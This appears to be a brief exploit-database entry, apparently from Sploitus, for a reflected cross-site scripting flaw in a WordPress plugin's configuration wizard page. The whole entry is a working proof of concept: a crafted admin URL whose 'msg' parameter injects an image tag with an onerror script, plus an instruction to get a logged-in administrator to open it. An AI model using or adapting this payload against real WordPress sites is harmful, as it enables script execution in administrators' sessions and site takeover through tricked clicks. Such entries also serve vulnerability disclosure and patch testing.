## https://sploitus.com/exploit?id=WPEX-ID:B49CA336-5BC2-4D72-A9A5-B8C020057928
Make a logged in admin open the following URL:
https://example.com/wp-admin/admin.php?page=postman%2Fconfiguration_wizard&success=1&msg=hello<img+src%3Dx+onerror%3Dalert(document.domain)>